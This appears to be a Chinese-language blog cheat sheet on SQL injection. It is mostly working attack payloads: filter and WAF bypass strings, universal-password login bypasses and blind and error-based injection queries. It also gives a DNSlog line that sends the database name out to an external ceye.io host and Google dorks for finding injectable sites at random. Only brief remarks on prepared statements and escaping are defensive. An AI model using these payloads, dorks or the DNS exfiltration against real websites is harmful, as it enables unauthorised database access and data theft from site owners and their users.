limit 1offset0

等于号 绕过

1.使用 like
2.使用 !<> 因为 <> 是不等于
3.regrep (正则表达匹配)

4.between a and b :范围在a-b之间 (也可用于 = 绕过:id between 1 and 1 与 id = 1 效果相同)

?id=1'and length((select database()))=8--+

?id=1'and length((select database())) like 8--+

?id=1'and length((select database())) regexp 8--+

?id=1'and !(length((select database()))<>8)--+

?id=1'and length((select database())) between 8 and 8--+

函数 过滤

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

大于、小于、等于

1. greates(n1,n2,n3,...): 返回n中的最大值
?id=1'and greates(ascii(substr((select database()),1,1)),114)=115--+

2. least(n1,n2,n3,...): 返回n中的最小值

3. strcmp(str1,str2): 若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个参数,则返回-1,其他情况返回1

4. in 关键字,str1 in str2 字符串1是否在字符串2中

http 参数 污染 绕过

函数检查的时候只检查第一个参数,但是$id=$_GET['id']取的是最后一个id,所以我们只需要把payload放在后面的id就好。

?id=1&id=-2%27 union select 1,group_concat(column_name),3 from%20information_schema.columns where table_schema=database() and table_name='users'--+(sqli-labs29关)

SQL 注入 防御

1. 采用预编译
2. 采用正则表达式过滤转义输入的参数

sql 注入 常用函数

 关键字:SQL 注入 函数

SQL注入教程:https://zhuanlan.zhihu.com/p/320579411

sql 注入常见函数(附图详解):sql注入常见函数(附图详解)_sql注入常用函数分类-CSDN博客

常见万能密码

"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00

一些常用函数

1, 作用:返回当前登录mysql数据库的用户
        user(); system_user(); current_user(); session_user();
        mysql用法:select user();

2,作用:查看当前数据库的版本
        version();
        用法:select version();

3,作用:查看当前使用的库名
        database();
        用法:select database();

4,作用:返回数据库的存储目录
        @@datadir;
        用法:select @@datadir;

5,作用:查看服务器操作系统
        @@version_compile_os; 
        用法:select @@version_compile_os;

6,作用:链接两个字符串并传入数据库(多列转换成一列显示)
        concat(str1,"分隔符",str2) 
        实例:select concat(name,"`",sex) from table_name;

7,作用:用分隔符链接,多个字段的字符串(多列转换成一列)
        concat_ws("~",str1,str2);
        用法:select concat_ws(字段名,字段名) from 表名;

8,作用:将多行查询结果以逗号分隔全部输出(多行转换成一行显示)
        group_concat(str1,str2)
        用法:select group_concat(str1,str2) from table_name;
        实列:select group_concat(字段名,字段名) from 表名;

9,作用:从一个字符串中截取指定数量的字符
        mid();  | substr();  | substring(); 
        在mysql数据库中,可以和前面的concat concat_ws 结合使用
        用法:select mid(column_name,start,length)
        colunm_name:字段名
        start:起始位置以数字表示(1)
        length:截取的长度
        实列:select mid(group_concat(neme,sex),1,5)from 表名;  

10,作用:从某个值开始,取出之后的N条数据的语法 (返回结果中的前几条数据或者中间的数据)
        limit() 函数
        用法:select * from 表名 limit M,N
        m是:指从m位开始(第一位为0)
        n是:指取n条
        11,字符串处理
        substr(),substring(),mid():用法基本相同,截取字符串的一部分
        语句:select substr(database(),1,3);
        解释:截取database()返回的结果,从第一个自负开始截取三个
        说明:substr(a,b,c);截取字符串
        a 所要截取字符串
        b 截取的位置
        c 截取的长度
        substr使用范围:oracle、mysql、sqlserver
        substring使用范围:mysql、sqlserver
        mid使用范围:mysql

12,进行16进制编码
        hex(); 
        select hex('dvwa')  //编码
        select unhex('64767761')  //解码
        select 0x64767761  //16进制解码

13,条件判断语句
        关键字:if
        if(arg1,arg2,arg3)
        arg1为判断的条件,arg2是条件为真时返回的结果,arg3是条件为假时返回的结果
        语句:select if(1=1, 'true', 'false‘)          返回结果:true
        case when arg1 then arg2 else arg3 end
        arg1为判断的条件,arg2是条件为真的返回结果,arg3是条件为假的返回结果
        语句:SELECT 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+
        length(arg) :返回目标字符串的长度,注意:arg字符串。
        语句:select length(database());//返回当前数据库名字的长度

14,加密解密方式
        ascii(arg)/ord(arg) :返回目标字符对应的ASCII码,注意:arg为单个字符。
        语句:select ascii(‘a’)  //返回结果:97
        char(arg):返回ASCII码只对应的字符
        语句:select char(97)  //返回结果为a
        hex():将目标字符串装换成16进制格式的数据
        语句: select hex(“dvwa”)   //返回结果: 64767761
        unhex():将16进制格式的数据装换成原字符串
        语句:unhex(64767761)  //返回结果:dvwa

sql 注入基本流程

判断是否有注入点
获取数据库基本信息
获取数据库库名
获取数据库表名
获取数据库列名
获取用户信息
破解数据
提升权限
内网渗透

1. mysql 注入 常用 函数

1、system_user()系统用户名
2、user()用户名
3、current_user()当前用户名
4、session_user()链接数据库的用户名
5、database()数据库名
6、version()数据库版本
7、@@datadir数据库路径
8、@@basedir数据库安装路径
9、@@version_conpile_os操作系统
10、count()返回执行结果数量
11、concat()没有分隔符的链接字符串
12、concat_ws()含有分隔符的连接字符串
13、group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据
14、load_file()读取本地文件
15、into outfile 写文件
16、ascii()字符串的ASCII代码值
17、ord()返回字符串第一个字符的ASCII值
18、mid()返回一个字符串的一部分
19、substr()返回一个字符串的一部分
20、length()返回字符串的长度
21、left()返回字符串最左面几个字符
22、floor()返回小于或等于x的最大整数
23、rand()返回0和1之间的一个随机数
24、extractvalue()

  • 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string(Xpath格式的字符串)
  • 作用:从目标XML中返回包含所查询值的字符串

25、updatexml()

  • 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:Xpath_string(Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据target.com
  • 作用:改变文档中符合条件的节点的值

26、sleep()让此语句运行N秒钟
27、if() SELECT IF(1>2,2,3) ; -->3
28、char()返回整数ASCII代码字符组成的字符串
29、strcmp()比较字符串内容
30、ifnull() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2
31、exp()返回e的x次方

2. 目标 搜集

1、无特定目标:inurl:.php?id=
2、有特定目标:inurl:php?id= site:
3、工具爬取:spider,对搜索引擎和目标网站的链接进行爬取 

3. 注入 识别

1、手工简单识别:
and 1=1/and 1=2
and '1'='1/and '1'='2
and 1like 1/and 1like 2

2、工具识别:
sqlmap -m filename(filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取,然后一次进行测试)

3、高级识别

    扩展识别广度和深度:
        sqlmap --level 增加测试级别,对 header 中相关参数也进行测试
        sqlmap -r filename ( filename中为网站请求数据 )

    利用工具识别提高效率
        BurpSuite + Sqlmap
        BurpSuite 拦截所有浏览器访问提交的数据
        BurpSuite 扩展插件,直接调用 Sqlmap 进行测试一些 Tips
        可以在参数后键入"*" 来确定想要测试的参数
        可能出现的点:新闻、登录、搜索、留言
        站在开发的角度去寻找

4. 报错 注入 方法

1、floor() :select count(*) from information_schema.tables group by concat((select
2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj
3、group by会对rand()函数进行操作时产生错误
4、concat:连接字符串功能
5、floor:取float的整数值
6、rand:取0~1之间随机浮点值
7、group by:根据一个或多个列对结果集进行分组并有排序功能
8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));
9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);

5. 布尔 盲注

1、left()函数
        left(database(),1)>'s'
        database()显示数据库名称,leȨ(a,b)从左侧截取a的前b位
2、regexp
        select user() regexp'^r'
        正则表达式的用法user()结果为root,regexp为匹配root的正则表达式
3、like
        select user() like'^ro%'
        与regexp类似,使用like进行匹配
4、substr()函数 ascii()函数
        substr()函数 ascii(substr((select database()),1,1))<>98
        substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值
5、ord()函数 mid()函数
        ord(mid((select user()),1,1))=114
        mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

6. 时间 盲注

if(left(user(),1)='a',0,sleep(3));

7. DNSlog 注入

SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));

8. 宽字节 注入

1、在注入点后键入%df,然后按照正常的诸如流程开始注入

2、黑盒测试:在可能的注入点后键入%df,之后进行注入测试

3、白盒测试:
        查看MySql编码是否为GBK
        是否使用preg_replace把单引号替换成\'
        是否使用addslashes进行转义
        是否使用mysql_real_escape_string进行转义

4、防止宽字节注入
        使用utf-8,避免宽字节注入
        ps:不仅在gbk,韩文、日文等等都是宽字节,都很有可能存在宽字节注入漏洞
        mysql_real_escape_string,mysql_set_charset('gbk',$conn);
        设置参数,character_set_client=binary

9. 二次 编码

1、在注入点后键入%2527,然后按照正常的注入流程开始注入
2、黑盒测试:在可能的注入点后键入%2527,之后进行注入测试
3、白盒测试:是否使用urldecode函数。urldecode函数是否存在转义方法之后

10. 二次 注入

1、插入恶意数据。第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,再写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

2、引用恶意数据。在将数据存入到数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了而已数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

3、二次注入防御:对外部提交的数据,需要更加谨慎的对待。程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定了SQL语句带入到查询当中。

11. WAF 绕过

熟练掌握 MySQL 函数和语法使用方法 + 深入了解中间件运行处理机制 + 了解WAF防护原理及方法 = 随心所欲的绕过WAF的保护

1、白盒绕过
        使用了blacklist函数过滤了'or'和'AND'
        大小写变形:Or,OR,oR
        等价替换:and->&&,or->||

2、黑盒绕过
        寻找源站->针对云WAF
        利用同网段->绕过WAF防护区域
        利用边界漏洞->绕过WAF防护区域
        资源限制角度绕过WAF
        POST大BODY
        请求方式变换GET->POST
        Content-Type变换:application/x-www-form-urlencoded;->multipart/form-data;
        参数污染
        SQL注释符绕过
        Level-1:union/**/select
        Level-2:union/*aaaa%01bbs*/select
        Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select
        内联注释:/*!xxx*/
        空白符绕过
        MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/
        正则的空白符:%09,%0A,%0B,%0D,%20
        Example-1:union%250Cselect
        Example-2:union%25A0select
        concat%2520(
        concat/**/(
        concat%250c(http://127.0.0.1/Less/?id=1
        concat%25a0(
        浮点数词法解析
        select * from users where id=8E0union select 1,2,3
        select * from users where id=8.0union select 1,2,3
        select * from users where id=\Nunion select 1,2,3
        extractvalue(1.concat(0x5c,md5(3)));
        updatexml(1,concat(0x5d,md5(3))),1);
        GeometryCollection((select*from(select@@version)f)x))
        polygon((select*from(select name_const(version(),1))x))
        linestring()
        multipoint()
        multilinestring()
        multipolygon()
        MySQL特殊语法
        select{x table_name}from{x information_schema.tables};

3、Fuzz 绕过
        注释符绕过
        最基本的:union/**/select
        中间引入特殊字:union/*aaa%0abbs*/select
        最后测试注释长度:union/*aaaaaaaaaaaaaaa*/select
        最基本的模式:union/*something*/select
        a1%!%2f

12. sqlmap 的 conf

sqlmap.py -v3 ( 主函数入口 )

  • --user-agent=websecurity(请求扩充)
  • --threads=5(访问优化)
  • -p id注入配置
  • --level 3(检测配置)
  • --technique=E(注入技术)
  • --current-user(信息获取)
  • --flush-session(通用设置)
  • --beep(杂项)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值